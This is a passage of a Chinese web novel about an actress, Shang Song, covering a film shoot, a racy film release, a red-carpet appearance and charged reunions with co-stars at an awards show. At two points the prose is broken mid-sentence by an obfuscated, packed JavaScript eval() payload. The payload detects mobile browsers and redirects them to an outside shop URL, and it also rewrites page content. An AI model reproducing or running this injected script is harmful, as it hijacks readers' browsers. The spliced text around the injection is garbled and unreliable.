陈丧从椅子上跳起来,激动得手里那根烟都差点按在副导演脸上,“这反杀绝了!商颂!你刚才那个眼神!那哪里是演戏,你是真的想杀人啊!我要的就是这种疯批美人感!!” 现场的工作人员这才回过神来,刚才那段戏看得所有人后背全是冷汗,甚至忘了呼吸。那种从极度纯洁到极度邪恶的无缝切换,简直像是两个人格在瞬间完成了一次血淋淋的置换。 商颂慢慢直起腰。 那种“血莲”的邪气在导演喊卡的一瞬间并没有完全收敛,像是潮水退去后留下的暗礁,依然坚硬、冰冷。 她看了一眼地上那个还一脸懵逼没出戏的男演员,没说什么,只是淡淡地伸出手,想要拉他一把。 男演员吓得往后缩了一下。 商颂的手僵在半空,随即自嘲地笑了笑,收回了手。 她站起身,理了理那身被弄皱的校服。 她的视线再次扫过那满墙的刑具。在那些冰冷的金属反光里,她仿佛看到了那个在大漠里把她按在桌上的周彻,看到了那个把她关进金丝笼里的资本。 这个世界上,确实有很多怪物。 他们有钱,有权,有那种可以随时把人碾死的地位。 但是…… 商颂转过头,看向陈丧。 “导演。” 她的声音很轻,却很清晰。 “刚才那段,别剪。” “一刀都别剪。尤其是最后那一幕,他那副发现猎物竟然带着枪、反被将军时的怂样。” 她摸了摸口袋里的手机,那里是她在这个世界上唯一的底气。 “我要让所有的女孩都看到。” “这世上没有什么不可战胜的魔鬼,也没有什么可怕的怪物。” “只要你敢比他们更疯,只要你敢在那把刀落下之前,先咬断他们的喉咙……” 商颂走出那间阴暗的地下室,外面的阳光正烈,刺得她眼睛发酸。 “那他们,就是你脚下的狗。” 她抬起头,迎着阳光,虽然眼角还带着戏里那未干的泪痕,但她的脊背,挺得比任何时候都要直。 这部剧播出之后,她会再次站在风口浪尖。有人会骂她“又当又立”,有人会说她心理阴暗。 但那又怎样呢? 正如《诱罪》里“莲”的原则:不接吻,不上床。只诛心。 这是她的游戏规则。也是她在这个吃人的名利场里,给自己划下的最后一道防线。 众生皆是猎物。 51. 第 51 章 《他者女人的窥镜》正式公映,整个内娱影圈,被这面窥镜照得一片哗然。 段南桥的镜头,被形容为一只薄胎白瓷,内里却盛满了名为“真相”与“欲望”的鸦片。她以堪称“情色”的大胆尺度和对人性阴暗面赤裸的剖析,捅破了观众认知的舒适区。 影片中,第二场床戏的持续时间长得令人窒息。昏黄烛光在赤裸的躯体上流淌、交融,几十秒的光影变幻,代献秋与阿春化为欲望本身。 镜头最终定格在两人交颈后的眼神特写——阿春眼中是饮鸩止渴的极致欢愉,代献秋眼底是沉沦后骤然清醒的冰冷罪恶。 翻云覆雨后,阿春斜倚在凌乱锦被间,仅以薄丝绸虚掩春光,声音沙哑娇慵:“代sir,为我画一幅画吧。画下此刻的我,□□的我。” 镜头缓缓下移,掠过她交叠的玉腿,被一枚古朴的圆镜挡住。镜面冰冷,倒映着烛光与阿春意味深长的笑。 同样赤裸的代献秋,沉默地拿起炭笔。笔尖划过纸面,沙沙作响,与阿春偶尔发出的银铃般笑声交织在一起。 这一幕,将舆论彻底点燃。 一夜之间,网络被引爆。关于商颂和伯雪寻“下海”的复杂心情,关于寻颂二人将银屏初吻与大尺度尽数奉献的震惊,关于电影惊悚悬疑、女性复仇、辛辣内核的激烈讨论,铺天盖地而来。 “寻颂CP”的超话一夜崛起,无数“神级”剪辑病毒式传播,霸占各大平台热门。剪刀手们仿佛集体狂欢,将商颂的每一个角色、每一次亮相、与身边每一个人的互动,都赋予了充满张力的全新解读。 她的名字,与“演技炸裂”、“风情万种”、“破碎感”紧密相连。 光线昏暗的私人影院里,伯雪寻也在看。 巨大的屏幕上,循环播放着那段备受争议的床戏。光影在他深邃的眉眼间明明灭灭,他修长的手指间,一枚金属打火机在规律地开合,“咔哒”、“咔哒”。 当画面定格在阿春那情欲弥漫的眼神特写时,“咔哒”声,停顿了一瞬。 “咚咚咚!”急促又带着点恶作剧意味的敲门声,撕裂了安夕来房间里流淌的慵懒爵士乐。 安夕来疑惑地打开门,暖黄的廊灯光线外,是一张猝不及防怼到眼前的脸。猩红的“血迹”从嘴角蜿蜒而下,黑洞洞的眼眶,裂开到耳根的“笑容”,还有一支惨白手电筒从下巴往上打光,将这张“鬼新娘”的脸映照得愈发惊悚骇人。 “啊啊啊啊!!!鬼啊!!!”安夕来魂飞魄散,高分贝的尖叫几乎掀翻屋顶,手里的零食掉了一地。 “Surprise!”“鬼新娘”唰地摘掉恐怖面具,露出商颂那张笑得狡黠又欠揍的脸,顺手塞给她一把造型奇特的水枪,“夏日大礼,给你降降温!” 安夕来惊魂未定,捂着胸口,气得小脸通红,“商颂!你有病啊!好好的周末晚上不过!搞什么万圣节午夜惊魂!!吓死我了!!”骂归骂,水枪倒是紧紧攥在了手里。 同样的戏码在童瞳门口如法炮制。童瞳的尖叫带着愤怒的咆哮,差点把门板拍在商颂脸上;谢卿歌控诉商颂“灭绝人性”。 三人被吓得花容失色,最后对着罪魁祸首进行惨无人道的“口水讨伐”。 “商颂,需要姐妹帮你松松骨?”谢卿歌揉着被吓得乱跳的心脏,咬牙切齿。灯光下,她目光扫过商颂,突然顿住,声音拔高了八度:“等等!你、你剪头发了??!” 这一嗓子,成功把安夕来和童瞳的注意力也吸引了过去。 只见商颂脱掉了扮鬼的累赘外套,里面是一件剪裁利落的纯黑色丝绒马甲,勾勒出她纤细却充满力量感的腰身和流畅的肩颈线条。最震撼的是那头标志性的长卷发,消失无踪。 取而代之的是一头清爽利落的中分短发,发尾刚刚及肩,长度竟与周彻那头标志性的长发相差无几。发丝被精心打理过,带着自然的弧度,露出她光洁饱满的额头,以及那双无需浓妆便足以勾魂摄魄的桃花眼。 整个人气质发生了翻天覆地的变化,褪去了长发的妩媚慵懒,增添了十足的干练、飒爽,甚至一种极具侵略性的、该死的“姬佬”气息扑面而来,如同被打磨掉华丽包浆的冷兵器,锋芒毕露,寒气逼人。 “惊喜吗?”商颂挑眉,冲着谢卿歌抛了个电力十足的媚眼。 谢卿歌先是一愣,随即嘴角咧开一个极其“猥琐”的笑容,一个饿虎扑食蹭到商颂面前,手指蠢蠢欲动地想摸那手感极佳的短发,“卧槽!好骚!我好爱!嘿嘿嘿……” “喂喂喂!谢卿歌!笑得收敛点!太猥琐了!你快把持不住了!”安夕来急忙捂住眼睛,不忍直视。 一年一度由金慈奖主办的星光盛典拉开帷幕。这个曾被资本搅得乌烟瘴气的颁奖礼,在经历大刀阔斧的改革后,红毯环节成了万众瞩目的开胃大菜。明星们铆足了劲,争奇斗艳。 GALAXY被安排在压轴前几个出场。当礼宾车在红毯起点停稳,车门打开—— 现场所有镜头、所有目光,瞬间凝固。 走在最前面的那个身影,让围观的记者、摄像师,以及线上蹲守直播的“星辰”(GALAXY粉丝名)们,集体陷入了一秒钟的宕机状态。 这是谁???! 红毯中央,那人步伐带风,比起后面三位队友高出半个头(得益于脚下那双设计感极强的厚底短靴)。上身是一件花到极致、色彩饱和度爆表的丝质短袖衬衫。典型的东南亚热带风情,大红大绿大紫大蓝大金,各种高饱和度的印花如同打翻了调色盘,碰撞出强烈的视觉冲击。 下身穿一条做旧破洞的七分牛仔裤,双手随意地插在裤袋里,手腕上缠绕着好几圈色彩斑斓的珠串和几枚造型粗犷的银戒,在闪光灯下折射出冷硬的光芒。脸上架着一副几乎遮住半张脸却一看就价值不菲的复古墨镜。 整个人走姿潇洒不羁,率性十足,浑身上下散发着一种“老子就是东南亚地头蛇,今天来你们这儿炸街”的彪悍气场。 “卧槽????” “这大佬谁啊??新出道的男团ACE??” “气场两米八!帅炸了!” 短暂的死寂后,是星辰们率先爆发出山呼海啸般的尖叫,瞬间点燃了整个红毯:“啊啊啊啊啊商颂!!!是商颂!!!” “商颂你剪头发了!!!啊啊啊妈妈!她出柜了!!!” “卧槽卧槽卧槽!这短发帅得我腿软!我还以为是商颂和伯雪寻偷偷生的儿子长这么大了呢!” “救命!好婊好帅好野!颂皇!看看我!快和我出柜啊!来撞死我吧!!!” “什么大佬带着他的三个小娇妻走红毯啊!女大佬!我的内娱小K!杀疯了!!!” 商颂嘴角勾起一抹极淡、却足以让镜头疯狂的弧度。她脚步未停,戴着墨镜的脸精准地朝向尖叫最热烈的粉丝区域,扬起那只戴着戒指的手,潇洒地挥动着打招呼。 咔嚓!咔嚓!咔嚓!反应过来的摄影师们如同打了鸡血,闪光灯瞬间连成一片刺目的光海。焦点,毫无疑问地只属于一个人——这位用一头短发和一身“花蝴蝶”炸翻红毯的“商大佬”。 安夕来穿着典雅的香槟色长裙,努力跟上商颂的步伐,趁着靠近的瞬间,压低声音,带着点哭笑不得的担忧:“颂颂,你知道你和伯雪寻的CP粉有多疯吗?前两天她们在公司门口立了块巨大的应援板,涂满了彩虹色,中间用荧光粉写着‘周彻快滚!寻颂才是真爱!’还是我们怕影响不好,偷偷让人连夜搬走的!” 周围的粉丝看到两人“咬耳朵”,激动得更加疯狂: “啊啊啊!夕来和颂颂在说什么悄悄话!” “艹!伯雪寻!你‘女朋友’要被夕来拐跑了!!!” “民政局呢!快给我搬过来!!” “别人是来走红毯的,商颂是来逛菜市场顺便泡妹子的吧!!!” 粉丝的脑洞和热情一旦被点燃,便如脱缰野马。人群里开始带起其他CP的节奏: “其他CP的大旗我来扛!谢卿歌!沈道非!勇敢飞!自己出事自己抗!!” “姬团搞姬了!!伯雪寻不在你们就不按柜门了吗??GALAXY全员内部消化吧!!!” 现场气氛热烈到失控,主办方乐见其成,丝毫没有派人维持秩序的意思。这种混乱和狂欢,正是他们想要的流量密码。 而在红毯尽头的后台候场区,即将压轴出场的APRICITY成员们,表情就相当精彩了。 巨大的LED屏幕正实时转播着红毯盛况。当商颂那张戴着墨镜、穿着花衬衫、气场全开的“大佬脸”特写出现在屏幕上时,黎名倒吸一口冷气,表情像是生吞了一只苍蝇,欲哭无泪地偷偷瞄向身边。 沈道非脸上依旧挂着那副人畜无害的温和笑容,只是那笑意似乎并未到达眼底,他正慢条斯理地整理着自己袖口的水晶袖扣,动作优雅得像在弹钢琴。但黎名就是觉得,那袖扣下一秒可能就会飞出来砸在自己脑门上。 “这人都不一样了。”黎名盯着屏幕里商颂揽着安夕来肩膀、嘴唇几乎擦过对方耳垂的亲密画面,喃喃自语,“这红利也不是这么吃的吧?一不小心就玩脱反噬了……” “闭嘴。”一个低沉冷冽的声音自身旁响起,带着不容置疑的警告,“教你多少次了,管好自己的嘴。” 黎名一个激灵,赶紧噤声,小心翼翼地往伯雪寻的方向瞥了一眼。 伯雪寻靠墙站着,一身剪裁完美的黑色丝绒西装,衬得他肤色愈发冷白。他脸上没什么表情,只是静静地看着屏幕里那个熟悉又陌生的人影。墨镜遮住了商颂的眼睛,却遮不住她周身那股肆意张扬、仿佛挣脱了所有束缚的锋芒。 黎名在心里默默叹了口气。一晃,都这么久了啊。他们这可怜的队长,封闭进组后终于又和她以这种方式碰面了。 他不由得想起上映前。伯雪寻明明说好包场请全队看一部新上映的文艺片,结果最后关头放了所有人鸽子。后来黎名才知道,伯雪寻自己一个人去了,还是午夜场。偌大的IMAX厅,只有他一个人,坐在最好的位置,看完了那部长达两个半小时、据说充满了压抑情感和破碎镜头的电影。 黎名至今想不通,一个人,在午夜空旷的影院里,看着银幕上那些(他脑子里不受控制地闪过某些影评里描述的“春光乍泄”、“情欲暗涌”的画面)真的不会忍不住吗? GALAXY到了现场坐席,这次主办方没有布置小圆桌和小椅子,而是直接一排排长椅拉到墙壁,也不知道是为了给他们拉近关系,还是为了省事省经费。 商颂跟着接待员找到位置,塑料椅面还没被体温焐热,眼角的余光就捕捉到一个熟悉的身影沿着狭窄的过道走来。 商颂嘴角一勾,身体比脑子动得更快。她猛地从长椅上弹起,两步就截住了段南桥的去路,手臂熟稔地从背后勾住她的脖颈,亲昵又带着点蛮横的力道,把段南桥勒得一个趔趄。 段南桥低呼一声,稳住身形,扭过头,那双锐利的导演眼上上下下把商颂扫了个遍,最后定格在她那双线条硬朗的马丁靴上,毫不客气地啧了一声,“老实交代,垫了多少?”她比划了一下两人明显的身高差,商颂足足比她高出半个头。 “报告Viviane,”商颂笑得坦荡又放肆,顺手把鼻梁上的墨镜推到了头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318066|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露出一双灼灼生辉的眼睛,“马丁靴,高跟五厘米,内增高三厘米,总计八厘米,童叟无欺!” 段南桥翻了个白眼,毫不文雅地爆了句粗:“靠!”她没好气地伸手,把商颂头顶歪斜的墨镜又往下按了按,指尖带着点恨铁不成钢的力道,可看着商颂那张写满“今朝有酒今朝醉”的恣意笑脸,自己绷紧的嘴角也忍不住松动,泄出一点笑意,“怎么着?放飞自我了?跟只开屏的花孔雀似的。最开始见你,规规矩矩,可不是这德行。” “此一时彼一时嘛,”商颂耸耸肩,语气轻松得像在谈论天气,“这不还靠Viviane赏口饭吃?《他者女人的窥镜》那点余荫,还能遮遮风挡挡雨。”她指的是那部横扫金棕榈、在各大颁奖礼上如入无人之境收割奖项的片子。虽然她进组拍摄没参加金棕榈红毯,但有它傍身,确实给了她此刻的底气。 段南桥噗嗤一声笑了出来,笑声爽朗:“少来这套!你看得上我手里这点边角料?伯雪寻那小子不把你喂得饱饱的?还是怕你翅膀硬了飞走?”她顿了顿,目光在商颂周围梭巡一圈,“怪了,今天怎么没见那寸步不离的小跟班,叫小艾?” “回老家了。”商颂答得干脆。小艾不在的这段时间,她确实像脱了缰的野马,放纵得连苏曼都在电话里气急败退地质问她是不是嗑了药。天地良心,她连尼古丁的边都没沾过。 “怪不得。”段南桥了然地点点头,眼神里多了几分看透的揶揄。话题很自然地滑向正轨,她压低了点声音,“听说你接了部小网剧?本子设定挺有意思?”不愧是圈内有名的眼光毒辣,消息灵通得很。 商颂心里暗赞一声,脸上适时地浮起一点被点名的矜持得意:“消息真灵。刚杀青没多久,小打小闹,设定是有点新意。” 段南桥拍了拍她手臂内侧,带着点鼓励和提点的意味:“好好演,本子好就是地基稳。”她顿了顿,话锋微妙一转,“不过嘛,刚杀青,档期正好空出来了?” 商颂挑眉,回得滴水不漏:“刚出关,呼吸点新鲜空气。” “那可真是不巧,”段南桥拖长了调子,从随身精巧的手包里抽出一张质感厚重的名片,指尖夹着,递到商颂面前。名片上烫金的字在不算明亮的场内光线下隐隐生辉,印着一个在业内如雷贯耳的大导名字。 “我一个老朋友,筹备了好几年的项目,盘子大,野心也大。铁了心要搞公开海选,女主角的位置,谁有本事谁上。”她看着商颂的眼睛,语气认真起来,“后年这时候才正式启动选角。你看见了,去试试。说不定……”她意味深长地笑了笑,“最佳女主角的奖杯就捧回来了。我看好你。” 商颂接过那张沉甸甸的名片,指尖无意识地捻过名片边缘锋利的棱角,心头那点被撩起的野心火苗刚蹿起一点,又被她习惯性的自嘲按了下去。她扯了扯嘴角,笑容有些飘忽:“这抬举了。我啊,连个‘最佳新人’的边儿都还没摸着呢。” “慌什么?”段南桥朗声一笑,重重拍了下商颂的肩膀,带着笃定的力量,“今天这个‘最佳新人’,板上钉钉是你的!至于伯雪寻那小子的‘最佳新人’……”她拖长了尾音,故意卖了个关子,眼神狡黠,“那可就不太好说了。” 话音未落,仿佛被段南桥那句凭空召唤,两道身影恰好从狭窄的过道经过。 是伯雪寻。 伯雪寻径直朝她们走来。他今夜内搭穿得嚣张,一件紧身亮片衬衫,细密的银光随着他的动作折射出流动的冷焰,紧紧包裹着优越的肩线与劲窄的腰身,在昏暗场内极具侵略性。 商颂脸上的笑意瞬间凝固。 周遭鼎沸的人声、晃动的光影,在万分之一秒内急速褪色、虚化,沉入一片灰白噪点。视野里唯一清晰、唯一具有色彩和温度的,只剩下那个朝她疾步而来的身影。 像慢镜头被无限拉长。他迈出的每一步,衬衫上每一片银光的跃动,额角被灯光映亮的一丝薄汗,甚至是他微促呼吸带动的胸膛起伏……所有细节都被放大到极致,带着灼人的热度,烙在她的眼上。 进组过后,他们心照不宣地避而不见。日历撕掉了一百多页,她以为自己早已平静,以为那部电影、那个人,连同那些被镜头无限放大又扭曲的亲密接触,都已被妥帖地封存进名为“工作”的档案盒深处。 肌肤相贴时令人战栗的电流,镜头里被放大的喘息与交缠的眼神……她曾告诉自己,那不过是职业后遗症。 直到此刻,直到他活生生地,带着一身耀眼的光与热冲破灰白的背景墙,再次撞入她的视野,她才无比清晰地意识到,自己一直在自欺欺人。 杀青那天,瓢泼大雨浇熄了片场最后一点余烬。段南桥喊出“Cut”的瞬间,巨大的空虚感如冰冷潮水将她淹没。工作人员在欢呼,他们两人却像被抽走了灵魂的雕像。 她记得自己紧紧抱住了他。指甲深陷进他背部绷紧的肌肉,仿佛要将自己的灵魂也一并钉进去。周围的一切都成了遥远的背景音,只有怀中滚烫的体温和同样剧烈的心跳是真实的。 久久不愿放开。 回去后的无数个失眠夜,巨大的烦躁和空虚像黑洞般吞噬着她。一种几乎要将她撕裂的渴望在身体里左冲右突。 段南桥在杀青宴上说:“听我一句。这段时间,你们俩,最好不要见面。” 是的,杀青那天,剧本里那对在道义夹缝中挣扎、彼此取暖又互相毁灭的恋人,阿春和代献秋,已经随着那声“Cut”,彻底死去了。 留下的,是两个在角色躯壳之下,在灵魂最幽暗、最不设防的深处,曾真正燃烧过的演员——商颂与伯雪寻。那碰撞的火花,并未随着角色的死亡而熄灭。 52. 第 52 章 此刻,当巨大的直播屏幕亮起,镜头仿佛被无形的力量牵引,冷酷地捕捉到了内场这极具张力的一幕—— 银光闪闪的伯雪寻,停在了商颂面前。两人隔着一臂的距离,仿佛隔绝了整个世界。商颂微微仰头,脸上只剩下一种空白的怔然。而伯雪寻,胸膛还带着疾步而来的细微起伏,目光沉沉地落在她脸上,专注得贪婪。 下一秒,直播间的弹幕彻底爆炸,密集的文字洪流瞬间淹没了屏幕。 【卧槽卧槽卧槽!!!这眼神!这氛围!你告诉我这没爱过???】 【寻颂CP粉今晚集体复活!】 【只有我注意到商颂的手指在抖吗?还有伯雪寻的喉结滚了好几下……救命,这性张力隔着屏幕都戳死我了!】 伯雪寻就站在她面前。那件亮片衬衫折射出的细碎冷光,刺痛了商颂的眼睛。她清晰地感觉到后颈的汗毛一根根竖立,一种细微的战栗沿着脊椎攀升。口腔里莫名发干。 一百二十一个日夜。所有被时间强行压缩、掩埋的东西,在这一刻,被他骤然出现的真实身影,以一种蛮横的姿态,全部挤压、释放。沉甸甸的,压得她心口发闷。 伯雪寻的喉结滚动了一下,幅度清晰。 然后,他开口了。声音不高,甚至有些沙哑,沉甸甸的。 “好久不见。” 商颂几乎是有些跌坐回自己的位置。段南桥被拉走,过道里只剩下她和他。 伯雪寻的脚步顿了顿,就在她斜后方隔着一个空位的位置坐下。不远不近,恰恰是余光能清晰捕捉的距离。 商颂的视线扫过自己座位上叠得方正的灰色薄毯,又飞快掠向他那边——空空如也。 她嘴角极轻微地扯动了一下,随即移开目光。 空气里,一股极其熟悉又带着变化的清冽气味,顽强地穿透了混沌,丝丝缕缕地缠绕过来。 是雪松。 但又似乎被调和了。薄薄的木质底调托着那份清凉,添了丝干燥微苦的木息,苦意之后,又隐约透出一丝跳跃的新鲜橘子甜香,一闪而过。 这气味复杂得像他此刻的存在感,熟悉又陌生,扰人心神。 商颂长长地吁了一口气,不管不顾地放松脊背,整个人顺着椅背往下滑,瘫靠在冰冷的塑料椅背上,仰头望着天花板交错的光束。 心底涌上一丝庆幸。她刚杀青的单元剧里,爱是奢侈品,火花易燃,却无需燎原。这让她此刻,尚能维持一丝摇摇欲坠的镇定。 伯雪寻微微垂眸,视线落在前排椅背的缝隙间。他能窥见她卸下防备后,像被抽掉筋骨般瘫软下去的姿态,看见她仰头时绷紧又放松的颈线。 他心底泛起一丝苦涩的自嘲。好像只有他一个人,还固执地留在那座湿冷的悬崖,留在那句最终未能出口的话前。在她面前,他好像总是卑微得像一粒尘埃,却又在尘埃里,不可理喻地开出一朵绝望扭曲的花。 就在这时,前排的商颂似乎被那缕雪松味搅得心神不宁,视线无意识地飘移,然后,毫无预兆地向上抬起。 撞进了他低垂的视线里。 更确切地说,是撞在了他那粒极其微小、颜色浅淡的痣上。 她曾在那片虚构的沃土上,无数次着魔般地用手指描摹过它的轮廓。她最喜欢的,除了他这把低沉微哑的嗓子,大概就是这粒小痣和他说话时,那性感得要命的喉结滚动。 这个念头如惊雷在脑海里炸开。 完了。 她绝望地闭上眼,后脑勺重重磕了一下椅背。 彻底完了。 为什么她的道德感像退潮的海水,一降再降? 脑袋乱成一团。就在这时,双腿骤然一沉。 一股不容忽视的重量和温热感压了上来。 商颂猛地睁开眼,身体下意识弹起,惊愕地低头—— 一张清冷绝尘的脸庞撞入视线,笑意盈盈。 下一秒,温热的重量压了下来。 岑星,就这么旁若无人地坐在了她腿上。 “好久不见,商颂。”岑星嗓音上扬,尾音带钩。她眼波流转,视线却毫不避讳地越过商颂的肩,落向她身后的伯雪寻。 那目光,审视,玩味,带着明晃晃的挑衅。 “怎么,有了新欢,忘了旧爱?”她轻笑,话音不高,却精准地落入后排,一字不落。 商颂清晰地感到,身后那道原本落在自己背上、带着灼热重量的视线,骤然撤走了。伯雪寻不自然地侧过头,下颌线绷得死紧。 大腿的温热触感与冰冷的椅背形成鲜明对比。商颂心底那点因伯雪寻而掀起的波澜,被这出闹剧搅得半点不剩。她目光冷淡地掠过岑星,扫向几步外面色铁青的祁演。 “有事?”商颂的声音没有起伏,疏离得像在问路。 岑星似乎很享受她这种被动的姿态,调整了一下坐姿,纤长的手指卷着她鬓边一缕挑染的紫发,语气暧昧又残忍:“你跑去演戏,我都寂寞了。” 她凑近,吐气如兰,眼底闪着狡黠的光,“演戏那么好玩?说得我都心痒了。” 商颂扯出一个毫无温度的笑:“好玩。你去试试。” 她顿了顿,平静地直视着岑星,“正好,我也想看看,被那种戏疯子按在地上摩擦,是什么滋味。” 岑星脸上的笑意一僵,随即像罂粟般开得更盛。她咯咯地笑起来,身体前倾,几乎贴上商颂的脸。 “商颂,你变了。”她声音压低,带着洞察的玩味,“不只穿得像只花孔雀,连这里,”她伸出描着蔻丹的指尖,虚虚点向商颂的心口,“都硬了。” “要是以前,你嘴上说着无所谓,心里早就在怕了吧?怕我抢你的风头,还是别的什么?” “岑星!” 一声低喝,祁演面色铁青地大步上前,伸手想把她拉起来。 商颂抬手,隔开了祁演,甚至对他安抚性地笑了笑,平静得像个局外人。 “她说的是事实。”她承认得干脆,目光重新落回岑星脸上,那双眼里没有怒意,只有怜悯的了然。 商颂微微歪头,嘴角勾起,眼神却锐利如刀。 “原来你当年,”她拖长了尾音,“什么都知道啊。” 岑星脸上的笑容僵住,眼底闪过一丝狼狈,转瞬即逝。她猛地站起身,居高临下,指尖勾起商颂一缕利落的短发,动作狎昵又挑衅。 “拥有一切的感觉,”她声音甜腻,眼神却深不见底,“很好吧?” 商颂靠着椅背,迎着她的视线,坦然道:“不差。” “呵,”岑星轻笑一声,意味不明,“希望你一直如此。” 商颂挑眉,不再看她,目光投向已经亮起大屏幕的舞台。 兵来将挡。如今的她,有的是办法。 周围零星的目光一头雾水,直播镜头却忠实记录下岑星落座、亲密私语、勾发调笑的全程。画面无声,想象无限。 直播间的弹幕,瞬间被另一种截然不同的解读刷了屏。 【啊啊啊啊青梅CP上大分!!!我哭了!岑星坐大腿!商颂纵容了!这是什么神仙友情(爱情)!!!】 【谁懂啊家人们!我嗑过的古早CP同框了!虽然都BE了!但同框即发糖!祁演在旁边脸都黑了!明明你们仨当年也是顶流配一脸!】 【“我们都是朝着同一个梦想努力的人,在路上我们相遇了。”“我们的故事未完待续。”“你是否也曾在某个瞬间动过心?”——歌词DNA动了!这不就是说的他们吗?!】 【此后,我们很少会见了;以后,她身旁的最佳搭档,就不是他了。】 【其实当年商颂看伯雪寻的眼神……我动心了,但是赶路要紧,他们都没说。】 【哈哈哈没人发现吗?商颂今晚这妆造,这气场,完全能无缝融入APRICITY啊!妥妥的第六人!毫无违和感!组团炸场吧!】 光怪陆离的灯光在舞台上流转,主持人激昂的开场白透过音响回荡在场馆内。商颂挺直了背脊,目光落在炫目的舞台上,仿佛全神贯注。只有她自己知道,斜后方那道存在感极强的视线烙在她的后颈,还有那缕挥之不去的、带着木质苦涩与橘甜的雪松冷香,丝丝缕缕,缠绕不休。 那空了一个位置的斜后方,伯雪寻沉默地坐在那里,像一尊凝固的雕塑。在岑星那句“得到了就不珍惜”砸下来时,在她起身离开后,他放在膝盖上的手几乎要嵌入掌心。 而此刻,他的目光沉沉地落在商颂挺直的背影上,那里面翻涌的,是比刚才更加汹涌、更加晦暗难明的情绪。直到某一刻,他像是再也无法忍受这咫尺天涯的折磨,猛地站起身,一言不发地,大步流星地穿过狭窄的过道,身影迅速消失在通往后台的通道阴影里。 商颂没有回头。 空气里那缕雪松味,似乎也随着他的离开,被流动的人潮冲淡,最终消散。只留下一个冰冷的空位,和心头那一片更加空旷的茫然。 颁奖典礼正式开始,所有人都回到了座位上,工作人员给他们每个人手里发了一条手幅。商颂低头看着手幅正面的【第50届金慈颁奖典礼】,翻过来,是更烫人的一行英文:【IWITHYOUFOREVER】。永恒?她无声地扯了下嘴角,指尖拂过那行字,像拂过一句过于奢侈的诺言。 内场的布置温馨得梦幻,环顾四周,嘉宾席背后竟立着一排排精致的情景道具:萤火虫点点的微缩森林、月光石环绕的许愿池、挂满风铃的贝壳石窟、堆满专辑和卡牌的怀旧专辑屋、还有馥郁芬芳的鲜花圃……像闯入了某个光怪陆离的童话世界。 没参与彩排的商颂觉得新鲜,正饶有兴致地打量那片萤火闪烁的微缩森林,旁边的谢卿歌突然凑近,温热的气息喷在她耳廓,带着点看热闹的兴奋:“待会儿伯雪寻要射飞镖。” 商颂闻言,眉梢极其轻微地动了一下,几乎是本能地想侧头去捕捉斜后方那个身影。然而念头刚起,舞台灯光骤然变幻,主持人激昂的尾音落下,一段极具辨识度的、带着电子迷幻色彩又夹杂着复古鼓点的前奏轰然响起。是APRICITY新专的主打曲《Illegal》。 镜头迅速拉近情景区。糖果屋的橱窗后,一颗栗子色的脑袋鬼鬼祟祟地探出来,黎名顶着一头蓬松的栗色卷毛,红条纹蓝夹克,脖颈挂着夸张的小圆片银链,活脱脱一个初出茅庐、眼神里带着点野和懵懂的小子。 他唱着开场,带着点街头痞气的随性,脚步轻快地移动到糖果房门口。抽出一串巨大的彩虹色旋风棉花糖。他咬着棉花糖,又晃到了许愿池旁。 倚在池边的唐嘉树无缝接棒,他头顶那对可爱的向日葵发箍随着节奏一摇一晃,与身上那件橘色基底、点缀着绿色波点的花哨衬衫和硬朗牛仔外套形成了奇妙的反差魅力。他唱着,目光流转,带着点狡黠的天真,走向专辑屋。 专辑屋的布景最为用心。背景是塞满APRICITY历年专辑和杂志的书架墙,前面几排则用精巧的金属夹子串联起大幅的成员写真卡牌,如同悬挂的艺术品。唐嘉树在长木桌旁坐下,随手从桌上拿起一个复古的飞镖筒,递给了前方阴影处踱步而出的人。 商颂早已转过身,目光落在那个身影上。 伯雪寻。 深红三角尖领的长衬衫,丝绸般的光泽在灯光下流淌,透着一股危险而华丽的颓废感。下身是水洗蓝白破洞牛仔裤,挂在他腰间的下半截橙光圆框眼镜,随着步伐折射出冷硬的光。他整个人散发着一种生人勿近的、混社会狠角色的气场。他面无表情地从飞镖筒里抽出一枚金属飞镖,一边唱着属于他的段落,一边极其随意地、看也不看地反手向后一掷! “嗖!” 飞镖带着破空声,精准无比地钉在了悬挂卡牌最顶端的一张黑桃K中心!力道之大,卡牌都震颤不已。 “哇!!!”全场爆发出海啸般的惊呼。 紧接着,更令人窒息的操作来了。伯雪寻保持着射击的姿势,手指对着虚空,做了一个极为利落、带着硝烟味的“开枪”手势。就在他指尖动作落下的瞬间,仿佛被无形的子弹击中,隔着一排的另一张红桃Q卡牌,“啪嗒”一声应声滑落! “啊啊啊啊啊!BKing!!!”籽爱们的尖叫几乎要冲破场馆的穹顶。这精准到诡异的操作,配上伯雪寻那张矜贵又帅得惨绝人寰的脸,瞬间将气氛推至沸点。 商颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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(你我之间没有合格证书,我们生而非法。) 然而,就在音乐即将收束的瞬间,伯雪寻突然拿起话筒,清晰无比地加了一句低沉、沙哑,却穿透力极强的念白: “ButIloveYouisNoNeedforCertificate.” (但我爱你,无需任何证明。) “It’sNEVEREND.” (永不终结。) 他将歌词中象征束缚的“合格证明”(Certificate),悄然替换成了带有结束意味的“结业证明”,并宣告这份“非法”的爱永不终结。 灯光骤暗。五人身影消失。 巨大的VCR亮起,播放着名为“外八景”的绝美风光:桃源仙隐的云雾缭绕、潼舫晚渡的渔火点点、漳江夜月的清辉如练、浔阳古寺的钟声悠远、菉萝晴画的春色烂漫、楚山春晓的生机勃发、梅溪烟雨的朦胧诗意、白马雪涛的奔腾壮阔……紧接着,舞台中央,一道模仿天然山洞形状的巨大道具门缓缓升起,上书古朴的“秦人洞”三字。 